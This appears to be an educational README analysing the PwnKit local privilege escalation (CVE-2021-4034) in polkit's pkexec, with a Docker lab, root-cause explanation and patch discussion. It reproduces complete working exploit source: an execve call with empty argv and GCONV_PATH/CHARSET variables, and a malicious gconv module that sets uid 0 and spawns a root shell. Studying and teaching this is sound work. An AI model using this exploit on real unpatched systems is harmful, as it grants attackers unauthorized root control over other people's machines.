
CVE-2021-4034(PwnKit)polkitのpkexecのローカル権限昇格脆弱性の教育用PoCと分析。Dockerベースのラボで実践的なエクスプロイトと防御演習を提供。
🔗 元のプロジェクト: berdav/CVE-2021-4034
このプロジェクトは、元のプロジェクトを基に教育目的で分析・修正したバージョンです。
MITライセンス準拠 | White Hat School教育課題
CVE-2021-4034は、Linux policykit-1(PolicyKit)のローカル権限昇格の脆弱性です。一般ユーザーがpkexecを引数なしで実行し、プロセスメモリ構造の欠陥を利用することで、本来は除去されるべき環境変数文字列をglibが再参照するように仕向け、悪意のある.soファイルをロードさせてroot権限を取得することができます。
⚠️ 教育目的専用: このコードは修正されたシステムでのみ使用してください。
実際のシステムへの攻撃に使用すると、法的責任が生じる可能性があります。
| 項目 | 内容 |
|---|---|
| CVE ID | CVE-2021-4034 |
| 脆弱性名 | PwnKit |
| 影響を受けるバージョン | polkit 0.105以前のパッチが適用されていないバージョン全般(テスト環境の基準: Ubuntu 20.04のpolicykit-1 0.105-26ubuntu1) |
| 脆弱性タイプ | Local Privilege Escalation (LPE) |
| 深刻度 | Critical (CVSS 7.8) |
| パッチバージョン | policykit-1 >= 0.105-26ubuntu1.1 |
| 発見日 | 2021年6月(公開は2022年1月) |
Ubuntuだけの問題だと誤解されがちですが、pkexec自体のロジック欠陥であるため、polkitを使用しているディストリビューションであればほとんど影響を受けます。Dockerテスト環境がUbuntu 20.04のため、上の表にはそのバージョンも併記しました。
最初に分析したときは「環境変数を検証していないために発生する問題」だと思っていましたが、ソースコードとパッチコミットを一緒に見ると、順序が少し違うことがわかりました。本当の原因は別にあり、環境変数の問題はその原因によって発生する結果に近いものです。以下は、その流れを原因の順に整理したものです。
pkexecは、PolicyKitを通じて権限昇格を要求するSUID-rootプログラムです。
# 예: root 권한으로 명령어 실행
pkexec /bin/id
pkexec systemctl restart service
一般ユーザーが管理者権限で特定のタスクを実行するときに使用されます。
argc == 0の場合を例外処理していないpkexecのmain()関数は、コマンドライン引数を処理する部分で、引数が一つもなく実行された場合(argc == 0)を検証していません。 これがこの脆弱性の本当の始まりです。
argv = {"pkexec", "명령어", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0argcが0の場合、argvリストには終端を示すNULLだけが残ります。しかし、pkexecの内部ロジックは、この状況でも存在しないargv[1]を読み書きしようとします。問題は、Linuxがプロセスを実行するときにargv配列とenvp(環境変数)配列をメモリ上ですぐ隣に並べて配置する点です。そのため、範囲外のargv[1]は実際にはenvp[0]、つまり最初の環境変数をそのまま指すことになります。
정상 상황: argv = [ "pkexec" | NULL ]
공격 상황: argv = [ NULL ] ← argc = 0
↑
존재하지 않는 argv[1]에 접근
↓
메모리상 바로 뒤에 있는 envp[0]을 읽고 쓰게 됨 (out-of-bounds)
なぜこれが危険なのか:
GCONV_PATHやLD_PRELOADのような危険な環境変数を安全でないと判断して除去します。argc < 1の場合に即座に終了する検証ロジックを追加する形でこの部分を修正しました。(CWE-125 out-of-bounds read、CWE-787 out-of-bounds writeに該当)📌 まとめると: 環境変数の未検証は「攻撃が通用する条件」であり、本当の脆弱性(root cause)はpkexecがargc == 0の場合を処理していないことです。下の3は、この原因によって発生する結果側です。
2で説明したOOB動作により、pkexecがglibを初期化する過程で、この文字列が検証されないまま再び使用されることになります。
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // 원래는 ld.so가 걸러냈어야 함
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
};
execve("/usr/bin/pkexec", args, env); // argv는 비워서 argc=0을 만듦
問題:
ここで重要なのは、glib自体には何の落ち度もないという点です。GCONV_PATHが設定されていれば、そのパスからconverterを探すのはglibの正常な動作です。問題は、pkexecがsecure execution状態(危険な環境変数が除去された状態)をすでに壊してしまった後だということです。glibはただ正常に動作しただけなのに、その正常な動作が悪用される構造です。
CHARSET環境変数の確認
CHARSET=PWNKIT
gconv-modulesファイルでconverter定義を検索
module UTF-8// PWNKIT// pwnkit 1
GCONV_PATHから.soファイルをロード
GCONV_PATH=. → 현재 디렉토리에서 pwnkit.so 검색
.soファイルの初期化関数が自動実行
// pwnkit.c - .so 파일 로드 시 자동으로 실행됨
void gconv_init(void *step)
{
setuid(0); // root 권한 획득
setgid(0);
execve("/bin/sh"); // root shell 실행!
}
gconv_initは「コンストラクタ関数」と呼ぶこともありますが、厳密にはCの__attribute__((constructor))とは異なります。正確にはgconvモジュールインターフェースで定義された初期化関数であり、glibがdlopenで.soをロードした後、この関数を明示的に呼び出すものです。
┌─────────────────────────────────────┐
│ 일반 사용자 (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. argv 비우고 pkexec 실행 (argc=0)
│ + 악의적 환경변수 설정
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ pkexec 실행 │
│ argc 검증 없음 → OOB → 문자열 재참조 │
└─────────────────────────────────────┘
│
│ 2. glib이 정상 동작대로 처리
│ CHARSET=PWNKIT 인코딩 검색
│ GCONV_PATH=.에서 converter 찾음
↓
┌─────────────────────────────────────┐
│ pwnkit.so 로드 │
│ (현재 디렉토리의 악의적 .so 파일) │
└─────────────────────────────────────┘
│
│ 3. gconv 초기화 함수 자동 실행 (root 권한!)
↓
┌─────────────────────────────────────┐
│ root shell 획득 ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. 프로젝트 받기
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. 최신 버전 확인
git pull origin main
# 3. 빌드 (캐시 없이)
docker compose build --no-cache
# 4. 실행
docker compose up
docker system prune -a --volumes --forceは、キャッシュやボリュームが壊れて上記の方法でうまくいかない場合にのみ使用することをお勧めします。システム全体のDockerキャッシュを削除するかなり攻撃的なコマンドなので、他のプロジェクトのキャッシュも一緒に消えてしまう可能性があります。関連内容は、下の「発生した問題と解決方法」に別途まとめています。
pwnkit | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← 성공! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Docker Compose 설정
├── Dockerfile # 취약 Ubuntu 20.04 환경
├── start.sh # 컨테이너 초기화 및 자동 실행
├── Makefile # 빌드 설정
├── CVE-2021-4034_exploit.c # Exploit 코드 (pkexec 호출)
├── pwnkit.c # 악의적 .so 파일 (권한 상승)
├── gconv-modules # glib converter 매핑
├── README.md # 이 파일
└── LICENSE # MIT License
#include <unistd.h>
int main(int argc, char *argv[])
{
// pkexec에 실행할 프로그램을 지정하지 않음
// (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
char * const args[] = {
NULL
};
// 🔴 검증되지 않은 악의적 환경변수
// argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
char * const env[] = {
"GCONV_PATH=.", // converter 경로 (현재 디렉토리)
"CHARSET=PWNKIT", // 존재하지 않는 인코딩
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// pkexec 실행 (인자 없이 → argc=0 트리거)
execve("/usr/bin/pkexec", args, env);
return 0;
}
要点:
argsにpkexec自体の名前さえ入れず、argcが0になるようにしている → 根本原因(argcの未検証)をトリガーGCONV_PATH=. : OOBで再参照可能になった後、glibがこのパスでconverterを検索CHARSET=PWNKIT : glibがこのエンコーディングのconverterを見つけるように誘導#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}
// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // root shell 실행
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// root 권한 명시적 설정 (이미 root이지만)
setuid(0);
setgid(0);
// root shell 실행 ← 권한 상승 성공!
execve(args[0], args, env);
exit(0);
}
要点:
gconv_init()はCのconstructor attributeではなく、gconvモジュールインターフェースの仕様に従ってglibがdlopenの後に直接呼び出す初期化関数setuid(0)の後にシェルを実行すると、rootシェルをそのまま取得できる